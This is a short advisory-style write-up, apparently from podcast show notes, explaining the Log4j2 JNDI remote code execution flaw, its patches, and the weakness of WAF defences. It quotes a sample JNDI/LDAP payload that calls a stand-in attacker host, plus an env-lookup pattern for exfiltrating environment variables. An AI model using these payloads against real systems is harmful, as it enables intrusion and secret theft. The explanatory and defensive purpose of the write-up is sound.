Apache Log4j2 jndi RCE

Original Post:
Apache Log4j2 jndi RCE
We discussed this vulnerability during Episode 107 on 13 December 2021

If you log untrusted data using log4j…you might have an RCE. I wasn’t able to find a good root cause of this bug but the issue itself is pretty readily understood. When logging messages using the log4j library variable expansion and lookups would be performed across both the formatting strings (expected) and the arguments/data itself (unexpected). I think this behaviour is the most surprising issue, so the one that I would put some blame on to avoid, since there is some degree of expectation that arguments are not special and shouldn’t be processed as if trusted by default.

With this setup, attempting to log untrusted data could cause lookup to happen, this is especially dangerous thanks to JNDI (Java Naming and Directory Interface). JNDI injections have been known about as an attack class before. By logging a message containing a jndi lookup it is possible to gain code execution. The simpliest of which would be something like ${jndi:ldap://example.com/attacker_class} would result in a LDAP query, to which you can respond with a class to be executed.

This attack doesn’t work on the most recent versions of the Java runtime, instead needing to rely on a slightly more complicated attack strategy. Such attacks are documented by Veracode on their article about Exploiting JNDI Injections in Java. Essentially going from a direct code execution to more of a deserialization attack, needing an initial factory gadget to already exist in the classpath. That said, even without code execution, this can still be used to exfiltrate information such as environment variables ${env:var_here} using them in the hostname of the server to query.

Patching: There were two main patches that I noted in the commit log, first was not performing these lookups across the data by default, secondly being to limit the protocols JNDI lookups can access by default. If you have an application using log4j, updating is your best bet, you can also remove the jndi lookup class as a bandaid patch. I would not try to rely on any sort of WAF enforced rule to protect here (nor should you ever) as you can nest these lookups and obfuscate the payload quite easily by having lookups returning each letter (or lookups to lookups…) and eventually work around most WAF based solutions.